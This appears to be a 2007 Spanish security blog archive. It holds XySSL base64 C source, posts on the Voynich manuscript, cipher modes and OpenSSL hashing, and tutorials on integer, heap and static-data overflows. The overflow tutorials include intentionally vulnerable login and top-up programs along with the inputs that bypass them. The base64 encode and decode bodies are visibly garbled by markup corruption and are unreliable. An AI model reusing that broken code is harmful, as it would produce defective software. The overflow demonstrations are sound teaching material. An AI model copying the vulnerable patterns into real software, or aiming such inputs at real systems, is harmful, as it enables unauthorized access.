* \param slen     amount of data to be encoded
*
* \return         0 if successful, or ERR_BASE64_BUFFER_TOO_SMALL.
*                 *dlen is always updated to reflect to amount of
*                 data that was written (or would have been written)
*
* \note           Call this function with *dlen = 0 to obtain the
*                 required buffer size in *dlen
*/
int base64_encode( unsigned char *dst, int *dlen,
             unsigned char *src, int  slen );

/**
* \brief          Decode a base64-formatted buffer
*
* \param dst      destination buffer
* \param dlen     size of the buffer (updated after call)
* \param src      source buffer
* \param slen     amount of data to be decoded
*
* \return         0 if successful, ERR_BASE64_BUFFER_TOO_SMALL, or
*                 ERR_BASE64_INVALID_DATA if an invalid char is found.
*                 *dlen is always updated to reflect to amount of
*                 data that was written (or would have been written)
*
* \note           Call this function with *dlen = 0 to obtain the
*                 required buffer size in *dlen
*/
int base64_decode( unsigned char *dst, int *dlen,
             unsigned char *src, int  slen );

/**
* \brief          Checkup routine
*
* \return         0 if successful, or 1 if the test failed
*/
int base64_self_test( int verbose );

#ifdef __cplusplus
}
#endif






/*
*  RFC 1521 base64 encoding/decoding
*
*  Copyright (C) 2006-2007  Christophe Devine
*
*  This library is free software; you can redistribute it and/or
*  modify it under the terms of the GNU Lesser General Public
*  License, version 2.1 as published by the Free Software Foundation.
*
*  This library is distributed in the hope that it will be useful,
*  but WITHOUT ANY WARRANTY; without even the implied warranty of
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
*  Lesser General Public License for more details.
*
*  You should have received a copy of the GNU Lesser General Public
*  License along with this library; if not, write to the Free Software
*  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
*  MA  02110-1301  USA
*/

#ifndef _CRT_SECURE_NO_DEPRECATE
#define _CRT_SECURE_NO_DEPRECATE 1
#endif

#include "xyssl/base64.h"

static const int base64_enc_map[64] =
{
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',
'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd',
'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7',
'8', '9', '+', '/'
};

static const int base64_dec_map[128] =
{
127, 127, 127, 127, 127, 127, 127, 127, 127, 127,
127, 127, 127, 127, 127, 127, 127, 127, 127, 127,
127, 127, 127, 127, 127, 127, 127, 127, 127, 127,
127, 127, 127, 127, 127, 127, 127, 127, 127, 127,
127, 127, 127,  62, 127, 127, 127,  63,  52,  53,
54,  55,  56,  57,  58,  59,  60,  61, 127, 127,
127,  64, 127, 127, 127,   0,   1,   2,   3,   4,
5,   6,   7,   8,   9,  10,  11,  12,  13,  14,
15,  16,  17,  18,  19,  20,  21,  22,  23,  24,
25, 127, 127, 127, 127, 127, 127,  26,  27,  28,
29,  30,  31,  32,  33,  34,  35,  36,  37,  38,
39,  40,  41,  42,  43,  44,  45,  46,  47,  48,
49,  50,  51, 127, 127, 127, 127, 127
};

/*
* Encode a buffer into base64 format
*/
int base64_encode( unsigned char *dst, int *dlen,
             unsigned char *src, int  slen )
{
int i, n;
int C1, C2, C3;
unsigned char *p;

if( slen == 0 )
  return( 0 );

n = ( slen << dlen =" n" n =" (" i =" 0," p =" dst;" c1 =" *src++;" c2 =" *src++;" c3 =" *src++;">> 2 ) & 0x3F];
  *p++ = base64_enc_map[((( C1 &  3 ) <<>> 4 )) &amp;amp;amp;amp;amp; 0x3F];
  *p++ = base64_enc_map[((( C2 & 15 ) <<>> 6 )) &amp;amp;amp;amp;amp; 0x3F];
  *p++ = base64_enc_map[C3 & 0x3F];
}

if( i < c1 =" *src++;" c2 =" ((i">> 2 ) & 0x3F];
  *p++ = base64_enc_map[((( C1 & 3 ) <<>> 4 )) &amp;amp;amp;amp;amp; 0x3F];
  *p++ = ((i + 1) < dlen =" p" p =" 0" i =" j" n =" 0;">= 2 &&
      src[i] == '\r' && src[i + 1] == '\n' )
      continue;

  if( src[i] == '\n' )
      continue;

  if( src[i] == '=' && ++j > 2 )
      return( ERR_BASE64_INVALID_CHARACTER );

  if( src[i] > 127 || base64_dec_map[src[i]] == 127 )
      return( ERR_BASE64_INVALID_CHARACTER );

  if( base64_dec_map[src[i]] < n ="=" n =" (">> 3;

if( *dlen < dlen =" n;" j =" 3," n =" x" p =" dst;"> 0; i--, src++ )
{
  if( *src == '\r' || *src == '\n' )
      continue;

  j -= ( base64_dec_map[*src] == 64 );
  x  = ( x << n ="=" n =" 0;">> 16 );
      if( j > 1 ) *p++ = (unsigned char) ( x >> 8 );
      if( j > 2 ) *p++ = (unsigned char )  x;
  }
}

*dlen = p - dst;

return( 0 );
}

static const char _base64_src[] = "_base64_src";

#if defined(SELF_TEST)

#include 
#include 

static const unsigned char base64_test_dec[64] =
{
0x24, 0x48, 0x6E, 0x56, 0x87, 0x62, 0x5A, 0xBD,
0xBF, 0x17, 0xD9, 0xA2, 0xC4, 0x17, 0x1A, 0x01,
0x94, 0xED, 0x8F, 0x1E, 0x11, 0xB3, 0xD7, 0x09,
0x0C, 0xB6, 0xE9, 0x10, 0x6F, 0x22, 0xEE, 0x13,
0xCA, 0xB3, 0x07, 0x05, 0x76, 0xC9, 0xFA, 0x31,
0x6C, 0x08, 0x34, 0xFF, 0x8D, 0xC2, 0x6C, 0x38,
0x00, 0x43, 0xE9, 0x54, 0x97, 0xAF, 0x50, 0x4B,
0xD1, 0x41, 0xBA, 0x95, 0x31, 0x5A, 0x0B, 0x97
};

static const unsigned char base64_test_enc[] =
"JEhuVodiWr2/F9mixBcaAZTtjx4Rs9cJDLbpEG8i7hPK"
"swcFdsn6MWwINP+Nwmw4AEPpVJevUEvRQbqVMVoLlw==";

/*
* Checkup routine
*/
int base64_self_test( int verbose )
{
int len;
unsigned char *src, buffer[128];

if( verbose != 0 )
  printf( "  Base64 encoding test: " );

len = sizeof( buffer );
src = (unsigned char *) base64_test_dec;

if( base64_encode( buffer, &len, src, 64 ) != 0 ||
  memcmp( base64_test_enc,  buffer, 88 ) != 0 )
{
  if( verbose != 0 )
      printf( "failed\n" );

  return( 1 );
}

if( verbose != 0 )
  printf( "passed\n  Base64 decoding test: " );

len = sizeof( buffer );
src = (unsigned char *) base64_test_enc;

if( base64_decode( buffer, &len, src, 88 ) != 0 ||
  memcmp( base64_test_dec,  buffer, 64 ) != 0 )
{
  if( verbose != 0 )
      printf( "failed\n" );

  return( 1 );
}

if( verbose != 0 )
  printf( "passed\n\n" );

return( 0 );
}
#else
int base64_self_test( int verbose )
{
return( 0 );
}
#endif


#endif /* base64.h */

Referencias:

- http://es.wikipedia.org/wiki/Base64
- http://xyssl.org/code/source/base64
- OpenSSL

.

El manuscrito Voynich

2007-07-28T06:46:00.000-07:00

El manuscrito Voynich es un libro ilustrado escrito, en un lenguaje incomprensible, hace más de 500 años. El nombre de dicho manuscrito proviene de Wilfrid M. Voynich, quien lo adquirió en 1912. Aunque ha sido objeto de estudio demuchos criptógrafos, nadie ha podido descifrar absolutamente nada. Existe la teoría de que el manuscrito Voynich no es más que un fraude, pero aun así, sigue siendo uno de los enigmas sin resolver más conocidos de la criptografía.

Images from the Voynich Manuscript

Se han realizado análisis del texto que muestran patrones similares a las de los lenguajes conocidos. Por ejemplo, la entropía es similar a la de lenguas como el latín o el inglés. Algunas palabras aparecen solo en ciertas secciones, mientras que otras aparecen repetidas una y otra vez a lo largo de todo el manuscrito. Sin embargo existen algunos aspectos del texto que lo hacen diferenciarse de los lenguajes europeos, como por ejemplo, el número de letras de longitud de las palabras. En cualquier caso, si se trata de un montaje, sin duda es un trabajo meticuloso.

Referencias:
- http://es.wikipedia.org/wiki/Manuscrito_Voynich
- http://manuscritovoynich.blogspot.com/

Modos de cifrado: ECB, CBC, CTR, OFB y CFB.

2007-07-22T09:06:00.000-07:00

Los algoritmos de cifrado de bloque como DES o AES separan el mensaje en pedazos de tamaño fijo, por ejemplo de 64 o 128 bits. La forma en que se gestionan estos pedazos o bloques de mensaje, se denomina "modo de cifrado". Existen muchos modos de cifrado diferentes, a continuación hablaremos de los más importantes.

ECB - Electronic Code Book Mode:

ECB ha sido estandarizado por el NIST (U.S. National Institute for Standards and Technology). Este modo de cifrado es el más simple de todos, pues se limita a partir el mensaje en bloques y cifrarlos por separado.

Entre las ventajas de este método destaca la posibilidad de romper el mensaje en bloques y cifrarlos en paralelo o el acceso aleatorio a diferentes bloques.

Sin embargo, las desventajas de este modo de cifrado son enormes, por lo que se usa cada vez menos. El hecho de cifrar los bloques por separado implica que cuando se cifre un bloque con cierto valor, siempre se obtendra el mismo resultado. Esto hace posible los ataques de diccionario.
Además, cuando se cifran varios bloques y se envían por un canal inseguro, es posible que un adversario elimine ciertos bloques sin ser detectado, o que capture algunos bloques y los reenvíe más adelante.

CBC - Cipher Block Chaining Mode:

CBC ha sido estandarizado por el NIST (U.S. National Institute for Standards and Technology). Este modo de cifrado es una extensión de ECB que añade cierta seguridad. El modo de cifrado CBC divide el mensaje en bloques y usa XOR para combinar el cifrado del bloque anterior con el texto plano del bloque actual. Como no se dispone de un texto cifrado con el que combinar el primer bloque, se usa un vector de inicialización IV (número aleatorio que puede ser publicamente conocido). El uso del vector de inicialización es importante, pues de no usarlo, podría ser susceptible de ataques de diccionario. También es necesario que el IV sea aleatorio y no un número secuencial o predecible.

Para descifrar el mensaje usaremos el mismo procedimiento a la inversa:

Entre las desventajas de este modo de cifrado destaca la necesidad de realizar el cifrado de forma secuencial (no puede ser paralelizado). Tambien hay que tener en cuenta la posibilidad de realizar ataques de reenvío de un mensaje entero (o parcial).

CTR - Counter Mode:

Mientras que ECB y CBC son modos basados en bloques, CTR simula un cifrado de flujo. Es decir, se usa un cifrado de bloque para producir un flujo pseudo aleatorio conocido como keystream. Este flujo se combina con el texto plano mediante XOR dando lugar al cifrado.
Para generar el keystream se cifra un contador combinado con un número aleatorio (nonce) mediante ECB y se va incrementando. El valor del contador puede ser públicamente conocido, aunque es preferible guardarlo en secreto. Es necesario que el valor de nonce+contador lo conozcan ambos lados de la comunicación.

Entre las ventajas de CTR destaca la posibilidad de precalcular el keystream (y/o trabajar en paralelo), el acceso aleatorio al keystream o que revela poquísima información sobre la clave.

Como desventajas hay que tener en cuenta que reutilizar un contador en la misma clave puede ser desastroso, pues se generará de nuevo el mismo keystream.
Modificar bits en el texto plano es muy sencillo, pues modificando un bit del cifrado se modificará el bit del texto plano correspondiente (Bit-flipping attacks). Por lo que es adecuado usar este modo de cifrado junto con una verificación de la integridad del mensaje.

OFB - Output Feedback Mode:

OFB ha sido estandarizado por el NIST (U.S. National Institute for Standards and Technology). Como CTR es otro cifrado de flujo. En este caso el keystream se genera cifrando el bloque anterior del keystream, dando lugar al siguiente bloque. El primer bloque de keystream se crea cifrando un vector de inicialización IV.

OFB comparte muchas de las características de CTR, pero CTR tiene beneficios adicionales, por lo que OFB se usa bastante poco.
En OFB se pueden precalcular los keystream (aunque no se puede realizar en paralelo) y a diferencia de CTR no da problemas al ser usado con cifrados de bloque de 64 bits. Además, como en el caso de CTR, revela muy poca información sobre la clave.

Tambien comparte con CTR sus desventajas: reutilizar un contador en la misma clave puede ser desastroso y permite Bit-flipping attacks.

CFB - Cipher Feedback Mode:

CFB ha sido estandarizado por el NIST (U.S. National Institute for Standards and Technology) y es muy similar a OFB. Para producir el keystream cifra el último bloque de cifrado, en lugar del último bloque del keystrema como hace OFB.

Como en OFB reutilizar un contador en la misma clave puede ser desastroso y permite Bit-flipping attacks. En CFB el cifrado no puede ser paralelizado, pero el descifrado si.
Igual que en el caso anterior, es preferible usar CTR.

Referencias:
- Block cipher modes of operation - Wikipedia.
- Secure Programming Cookbook, Ed O'Reilly. Viega, Messier.

Hash mediante C y OpenSSL

2007-07-21T04:43:00.000-07:00

OpenSSL es una conocida librería que implementa ciertos algoritmos usados en criptografía. Aunque su nombre pareza indicar lo contrario, no es una librería usada únicamente para desarrollar canales SSL, pero esta es una de sus principales funciones. A continuación veremos como usar OpenSSL para implementar algoritmos de hash.

OpenSSL proporciona también un binario que permite usar criptografía desde la linea de comandos. Como el caso que nos ocupa son los algoritmos de hash, veamos primero como usar openssl para tal propósito.

Primero crearemos un fichero de ejemplo y calcularemos su hash con el algoritmo MD5:


$ echo test > test.txt
$ openssl md5 test.txt
MD5(test.txt)= d8e8fca2dc0f896fd7cb4cb0031ba249

Para usar cualquier otro algoritmo de hash (siempre que sea soportado por OpenSSL) usaremos el mismo método. Por ejemplo, para SHA1:


openssl sha1 test.txt
SHA1(test.txt)= 4e1243bd22c66e76c2ba9eddc1f91394e57f9f83

Para usar las funciones de hash de OpenSSL desde el lenguaje C, necesitaremos incluir la cabecera "openssl/evp.h" en nuestras fuentes y llamar a la función OpenSSL_add_all_digests(). A continuación usaremos EVP_get_digestbyname() para obtener el algoritmo de hash que queremos utilizar: md5, sha1, etc. Finalmente, las funciones EVP_DigestInit(), EVP_DigestUpdate() y EVP_DigestFinal() nos permitirán calcular el hash.

Ejemplo:


unsigned char *simple_digest(char *alg, char *buffer, 
                             unsigned int len, int *olen)
{
   EVP_MD *m;
   EVP_MD_CTX ctx;
   unsigned char *ret;
                                                                                
   OpenSSL_add_all_digests ();
   if (!(m = (EVP_MD*) EVP_get_digestbyname(alg)))
      return NULL;

   if (!(ret = (unsigned char *) malloc(EVP_MAX_MD_SIZE)))
      return NULL;

   EVP_DigestInit(&ctx, m);
   EVP_DigestUpdate(&ctx, buffer, len);
   EVP_DigestFinal(&ctx, ret, olen);

   return ret;
}

La función simple_digest() permite calcular el hash de una cadena pasada como parámetro "buffer" mediante el algoritmo "alg". Pero en el ejemplo anterior en el que usábamos la herramienta openssl, calculábamos el hash de un fichero entero. Para hacerlo, necesitaremos abrir el fichero, ponerlo en un buffer en memoria y llamar a simple_digest(). A continuación pongo un ejemplo completo:


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/evp.h>

#define READSIZE 1024

unsigned char *
simple_digest(char *alg, unsigned char *buffer, size_t len, size_t * olen)
{
   EVP_MD *m;
   EVP_MD_CTX ctx;
   unsigned char *ret;

   OpenSSL_add_all_digests();
   if(!(m = (EVP_MD *) EVP_get_digestbyname(alg)))
      return NULL;

   if(!(ret = (unsigned char *)malloc(EVP_MAX_MD_SIZE)))
      return NULL;

   EVP_DigestInit(&ctx, m);
   EVP_DigestUpdate(&ctx, buffer, len);
   EVP_DigestFinal(&ctx, ret, olen);
   return ret;
}

void
print_hex(unsigned char *bs, size_t n)
{
   int i;

   for(i = 0; i < n; i++)
      printf("%02x", bs[i]);
}

unsigned char *
read_file(FILE * f, size_t *len)
{
   unsigned char *buffer = NULL, *last = NULL;
   unsigned char inbuffer[READSIZE];
   int tot, n;

   tot = 0;
   for(;;)
   {
      n = fread(inbuffer, sizeof(unsigned char), READSIZE, f);
      if(n > 0)
      {
         last = buffer;
         buffer = (unsigned char *)malloc(tot + n);
         memcpy(buffer, last, tot);
         memcpy(&buffer[tot], inbuffer, n);

         if(last)
            free(last);
         tot += n;

         if(feof(f) > 0)
         {
            *len = tot;
            return buffer;
         }
      }
      else
      {
         if(buffer)
            free(buffer);
         break;
      }
   }
   return NULL;
}

unsigned char *
process_file(char *algorithm, FILE * f, size_t *olen)
{
   size_t filelen;
   unsigned char *ret, *contents = read_file(f, &filelen);

   if(!contents)
      return NULL;

   ret = simple_digest(algorithm, contents, filelen, olen);
   free(contents);
   return ret;
}

int
process_stdin(char *algorithm)
{
   size_t olen;
   unsigned char *digest = process_file(algorithm, stdin, &olen);

   if(!digest)
      return 0;

   print_hex(digest, olen);
   printf("\n");
   free(digest);
   return 1;
}

void
usage(char *progname)
{

   printf("Usage: %s [ md2 | md4 | md5 | sha | sha1 ] [ Files ] \n\n",
          progname);
   exit(0);
}

int
main(int argc, char *argv[])
{
   int i;

   /* Sin parametros */
   if(argc < 2)
      usage(argv[0]);

   /* Verificamos los algoritmos */
   if((strcmp(argv[1], "md2") != 0) &&
      (strcmp(argv[1], "md4") != 0) &&
      (strcmp(argv[1], "md5") != 0) &&
      (strcmp(argv[1], "sha") != 0) && (strcmp(argv[1], "sha1") != 0))
      usage(argv[0]);


   /* Un solo parametro, entrada estandar */
   if(argc == 2)
   {
      if(!process_stdin(argv[1]))
         perror("stdin");
   }

   /* Lee y procesa todos los parametros recibidos */
   else
   {
      for(i = 2; i < argc; i++)
      {

         FILE *file = fopen(argv[i], "rb");
         size_t olen;
         unsigned char *digest;

         if(!file)
         {
            perror(argv[i]);
            return -1;
         }

         digest = process_file(argv[1], file, &olen);

         if(!digest)
         {
            fclose(file);
            return -1;
         }

         fclose(file);
         print_hex(digest, olen);
         printf("  %s\n", argv[i]);
         free(digest);
      }
   }
   return 1;
}

Finalmente, podemos verificar el correcto funcionamiento de nuestra herramienta comparandola con el binario openssl.


$ gcc -lssl myhash.c -o myhash

$ ./myhash md5 test.txt
d8e8fca2dc0f896fd7cb4cb0031ba249  test.txt

$ openssl md5 test.txt
MD5(test.txt)= d8e8fca2dc0f896fd7cb4cb0031ba249

$ ./myhash sha1 test.txt
4e1243bd22c66e76c2ba9eddc1f91394e57f9f83  test.txt

$ openssl sha1 test.txt
SHA1(test.txt)= 4e1243bd22c66e76c2ba9eddc1f91394e57f9f83

Referencias:
- Network security with OpenSSL, Ed O'Reilly. Viega, Messier, Chandra.

Integer Overflow en Java

2007-07-15T06:12:00.000-07:00

En el artículo anterior sobre Integer Overflow, explicaba el concepto y mostraba algunos ejemplos en C. Pues bien, es curioso ver como un lenguaje como Java, considerado muy seguro, también permite este tipo de ataques. Veamos un sencillo ejemplo:



public class ShortOverflow
{
  public static void main(String args[])
  {
     if(args.length<1)         
        return;       
       
     short num = Integer.valueOf(args[0]).shortValue();       
     System.out.println("num: "+num);       

     if(num>100)
        System.out.println("num > 100");
     else
        System.out.println("num < 100");    
  }
}

La versión de máquina virtual usada es la siguiente:


$ java -version
java version "1.5.0_07"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_07-b03)
Java HotSpot(TM) Client VM (build 1.5.0_07-b03, mixed mode, sharing)

Si ejecutamos el ejemplo vemos como se produce el overflow sin que se produzca ninguna excepción:


$ javac ShortOverflow.java
$ java ShortOverflow 100
num: 100
num < 100

$ java ShortOverflow 101
num: 101
num > 100

$java ShortOverflow 100000
num: -31072
num < 100

Atención! se usa la clase Integer, no la clase Short que sí controla la excepción. Por lo que el problema se produce al realizar el cast de int a short, en la función shortValue(). Lo mismo ocurre si utilizamos el tipo Byte:



public class ByteOverflow
{
  public static void main(String args[])
  {
     if(args.length<1)         
        return;       
       
     byte num = Integer.valueOf(args[0]).byteValue();       
     System.out.println("num: "+num);       

     if(num>100)
        System.out.println("num > 100");
     else
        System.out.println("num < 100");    
  }
}


$ javac ByteOverflow.java
$ java ByteOverflow 100
num: 100
num < 100

$ java ByteOverflow 101
num: 101
num > 100

$ java ByteOverflow 1000
num: -24
num < 100

Sin embargo, el desbordamiento no se produce si se usa Integer.valueOf("...").intValue(), Short.valueOf("...").shortValue() o similar:



public class IntegerOverflow
{
   public static void main(String args[])
   {
      if(args.length<1)
         return;

      int num = Integer.valueOf(args[0]).intValue();

      System.out.println("num: "+num);

      if(num>100)
         System.out.println("num > 100");
      else
         System.out.println("num < 100");

   }
}


$ javac IntegerOverflow.java
$ java IntegerOverflow 10
num: 10
num < 100

$ java IntegerOverflow 100000
num: 100000
num > 100

$ java IntegerOverflow 1000000000000000
Exception in thread "main" java.lang.NumberFormatException: For input string: "1000000000000000"
        at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48)
        at java.lang.Integer.parseInt(Integer.java:459)
        at java.lang.Integer.valueOf(Integer.java:553)
        at IntegerOverflow.main(IntegerOverflow.java:9)

Krampo en Kriptopolis proporciona una par de enlaces interesantes. En el primero se documenta el comportamiento de shortValue():

http://java.sun.com/j2se/1.4.2/docs/api/java/lang/Number.html#shortValue()

En un, muy interesante, segundo enlace se habla del tema:
http://mindprod.com/jgloss/overflow.html

Why does Java ignore overflow? Most computer hardware has no ability to automatically generate an interrupt on overflow. And some hardware has no ability to detect it. Java would have to explicitly test for it on every add, subtract and multiply, greatly slowing down production. Further ex-C programmers are very used to this cavalier ignoring of overflow, and commonly write code presuming that high order bits will be quietly dropped.

The Pentium has hardware overflow detect but no hardware interrupt. So if Java were to support overflow detect, inside the JVM implementation would need to add a JO *jump on overflow" instruction after every add and subtract, and special code to look at the high order bits of the 32x32->64 bit multiply. 64/32->32 bit division might need special handling.

Para finalizar, veamos un ejemplo ficticio donde se podría explotar este overflow. Supongamos un programa en Java que se utiliza para realizar recargas a teléfonos móviles. Este programa cargará una comisión de un euro en la recarga, y posteriormente, realizará dicha recarga.



public class RecargaMovil
{
   public static void main(String args[])
   {
      if(args.length!=2)
      {
         System.out.println("Uso: prog [telefono] [importe]");
         return;
      }

      // Aqui se encuentra el error del programador (o vulnerabilidad)
      short importe = Integer.valueOf(args[1]).shortValue();
      if(importe < = 10)
      {
         // Quitamos 1 euro de comision;)
         importe -= 1;

         if(importe<3)
         {
            System.out.println("Importe demasiado pequeño");
            return;
         }

         System.out.println("Realizando recarga de "+importe+
            " euros a "+args[0]);
         // Realizar recarga ...
      }
      else
      {
         System.out.println("No se permite hacer recargas de mas de 10 euros");
      }
   }
}


$ java RecargaMovil 93123123 9
Realizando recarga de 8 euros a 93123123

$ java RecargaMovil 93123123 15
No se permite hacer recargas de mas de 10 euros

Si observamos con detenimiento el programa veremos la existencia de un overflow en "importe", al pasar de int a short. Dado que un short permite el almacenamiento de 2^16=65536 valores, o 2^15=32768 por admitir valores con signo, veamos como desbordarlo.


$ java RecargaMovil 98234948 -98302
Importe demasiado pequeño

$ java RecargaMovil 98234948 -98303
Importe demasiado pequeño

$ java RecargaMovil 98234948 -98304
Realizando recarga de 32767 euros a 98234948

Donde "importe" se desborda y nos permite hacer una recarga de 32767 euros:)

Integer Overflow

2007-07-14T10:09:00.000-07:00

Un Integer Overflow se produce cuando una operación aritmética intenta almacenar un valor numérico demasiado grande para la variable que lo contiene. De esta forma, si añadimos 1 al valor máximo que una variable puede almacenar, nos encontraremos con resultados curiosos. Veamos que ocurre en un sistema Linux x86.



int main()
{
   unsigned short c = 65535;
   printf("%d\n", c);
   c++;
   printf("%d\n", c);
   return 0;
}


$ gcc ex1.c
$ ./a.out
65535
0

Como vemos en el ejemplo, al incrementar una variable que ya está en su valor máximo, esta se desborda, empezando de nuevo en el valor cero.
Podemos conocer el valor máximo que se puede almacenar en una variable del lenguaje C usando "sizeof":



int main()
{
   printf("size of char: %d bytes\n", sizeof(char));
   printf("size of short: %d bytes\n", sizeof(short));
   printf("size of int: %d bytes\n", sizeof(int));
   printf("size of float: %d bytes\n", sizeof(float));
   return 0;
}


$ gcc ex2.c
$ ./a.out
size of char: 1 bytes
size of short: 2 bytes
size of int: 4 bytes
size of float: 4 bytes

Así, por ejemplo, en un char podremos guardar valores menores que 2^8, en un short valores menores que 2^16 y en un int valores menores que 2^32.

En el caso de las variables unsigned, cuando se produce un desbordamiento, nos encontramos con algo similar. Pues si intentamos almacenar un valor negativo en una variable sin signo, se realizará la conversión correspondiente. Por ejemplo, si en una variable "short" podemos almacenar valores menores que 2^16, en una variable "unsigned short" solo podremos almacenar la mitad. Pues se usaran los 2 bytes tanto para almacenar valores positivos como negativos. De esta manera, asignar un valor -1 a un "unsigned short" corresponderá a almacenar el valor 65535, almacenar -2 corresponderá a 65534, y así sucesivamente.



int main()
{
   unsigned short c = -1;
   printf("%d\n", c);
   c++;
   printf("%d\n", c);
   return 0;
}


$ gcc ex3.c
$ ./a.out
65535
0

No resulta nada complicado hacerse a la idea de como una vulnerabilidad de este tipo puede ser explotada. Por ejemplo, modificando el flujo de ejecución de un programa. En el caso siguiente, se pasa una condición "if" que no debería.



int main(int argc, char *argv[])
{
   if(argc != 2)
   {
      printf("Usage: %s num\n", argv[0]);
      return -1;
   }

   size_t num = atoi(argv[1]);

   if(num>100)
      printf("num > 100\n");
   else
      printf("num < 100\n);

   return 0;
}


$ gcc ex4.c
$ ./a.out 1
num < 100
$ ./a.out 101
num > 101
$ ./a.out -1
num > 100

Para finalizar, veamos un ejemplo de buffer overflow en el que se muestra cómo usar la longitud de una cadena para escribir fuera del buffer. En este caso la variable que permite el overflow es len, dado que existe la posibilidad de que la longitud de la cadena sea zero. Entonces, el valor de len es -1, o lo que viene a ser lo mismo, 255 por ser una variable "unsigned" de 8 bits. Por este motivo, el memcpy copiará 255 bytes a ptr, unos cuantos más de los necesarios. Realmente lo que se desborda es el heap, por lo que se trata, concretamente, de un heap overflow.



int main(int argc, char *argv[])
{
   if(argc<=1)      
      return -1;   
   char *ptr = malloc(strlen(argv[1]));  
   int *login_ok = malloc(sizeof(int));  
   *login_ok=0;    
   printf("size: %d\n", strlen(argv[1]));  
   uint8_t len = strlen(argv[1]) -1;   
   memcpy(ptr, argv[1], len+1);  
   printf("Login: %d\n", *login_ok);   

  if(*login_ok)  
  {     
     printf("Access Accept\n");  
  }  
  else  
  {     
     printf("Access Denied\n");  
  }  
  return 1;
}



$ gcc ex5.c
$ ./a.out hola
size: 4
Login: 0
Access Denied

$ ./a.out adiossssssssssssssssssssss
size: 26
Login: 0
Access Denied

$ ./a.out ""
size: 0
Login: 3618355
Access Accept

Referencias:
- Wikipedia: Integer Overflow
- Phrak 60: Basic Integer Overflows

Static Data Overflow

2007-06-17T02:26:00.000-07:00

El Static Data Overflow es un tipo de buffer overflow que se produce con datos estáticos. Estos pueden ser sobreescritos de forma similar a la estudiada en los los buffer overflow o en los heap overflow, es decir, en situaciones en las que el programador no verifica correctamente el tamaño de los datos que copia. Veamos un ejemplo sencillo de Static Data Overflow.



int main(int argc, char *argv[])
{
 static int login_ok = 0;
 static char user[64];
 static char pass[64];

 strncpy(user, argv[1], strlen(argv[1]));
 strncpy(pass, argv[2], strlen(argv[2]));

 printf("User: %s\n", user);
 printf("Pass: %s\n", pass);
 printf("Login: %d\n", login_ok);

 if(login_ok)
 {
    printf("Access Accept\n");
 }
 else
 {
    printf("Access Denied\n");
 }

 return 0;
}

Como podemos observar en el ejemplo anterior, el programa copia los datos introducidos por el usuario en dos buffers sin verificar correctamente el tamaño de los mismos. Veamos qué ocurre si sobrepasamos los 64 bytes de memoria assignada para las variables user y pass

Esta es la ejecución normal del programa:


$ ./a.out myusername mypass
User: myusername
Pass: mypass
Login: 0
Access Denied

Ahora intentemos sobrepasar el tamaño máximo de la variable user:


$ ./a.out `perl -e 'print "A"x100'` mypass
User: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Pass: mypass
Login: 1094795585
Access Accept

Como vemos el programa nos da acceso sin necesidad de introducir una contraseña correcta. Pero, ¿Qué ha ocurrido? Los datos asignados a las variables user, pass y login_ok están en un espacio contiguo de memoria. Por lo que al sobrepasar el limite de espacio asignado a una de ellas, se sobreescribe el contenido de las demás. Así, si sobrepasamos los 64 bytes de user, sobreescribimos login_ok.

El valor que hemos assignado a login_ok es una cadena de As que ha dado como resultado el valor 1094795585. Aunque cualquier valor diferente de 0 nos hubiese servido igualmente para poder entrar en la sentencia if.

Este tipo de bug está muy relacionado con el heap overflow y/o el buffer overflow, sobre los que ya se ha escrito en este blog. Consultalos para ampliar información.

Heap Overflow

2007-06-16T23:21:00.000-07:00

El heap overflow es un tipo de buffer overflow que se produce en un area de memoria denominada heap. La memoria heap se reserva dinamicamente con funciones como por ejemplo malloc() y puede ser sobreescrita de forma similar a la que se produce en los buffer overflow, es decir, en situaciones en las que el programador no verifica correctamente el tamaño de los datos que copia. Veamos un ejemplo sencillo de heap overflow.



int main(int argc, char *argv[])
{
   char *user = malloc(64);
   char *pass = malloc(64);
   int *login_ok = malloc(sizeof(int));
   *login_ok=0;

   strncpy(user, argv[1], strlen(argv[1]));
   strncpy(pass, argv[2], strlen(argv[2]));

   printf("User: %s\n", user);
   printf("Pass: %s\n", pass);
   printf("Login: %d\n", *login_ok);

   /* ... check user/pass ... */

   if(*login_ok)
   {
      printf("Access Accept\n");
   } 
   else
   {
      printf("Access Denied\n");
   }

   return 0;
}

Como podemos observar en el ejemplo anterior, el programa copia los datos introducidos por el usuario en dos buffers cuya memoria ha sido reservada con malloc() sin verificar su longitud máxima.
Pero, ¿Qué ocurre si sobrepasamos los 64 bytes de memoria reservada para las variables user y pass? Veamoslo con un ejemplo.

Esta es la ejecución normal del programa:


$ ./a.out myusername mypass
User: myusername
Pass: mypass
Login: 0
Access Denied

Ahora intentemos sobrepasar el tamaño máximo de la variable pass:


./a.out myusername `perl -e 'print "A"x100'`
User: myusername
Pass: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Login: 1094795585
Access Accept

Como vemos el programa nos da acceso sin necesidad de introducir una contraseña correcta. Pero, ¿Qué ha ocurrido? La respuesta es bastantes sencilla. Al reservar memoria con malloc() se nos ha assignado un espacio contiguo de memoria para las variables user, pass y login_ok. Por lo que al sobrepasar el limite de espacio asignado a una de ellas, se sobreescribe el contenido de las demás. Así, si sobrepasamos los 64 bytes de user, sobreescribimos pass y a continuación login_ok. O, como hemos hecho en el ejemplo, si sobrepassamos los 64 bytes de pass, sobreescribimos login_ok.

El valor que hemos assignado a login_ok es una cadena de As que ha dado como resultado el valor 1094795585. Aunque cualquier valor diferente de 0 nos hubiese servido igualmente para poder entrar en la sentencia if.

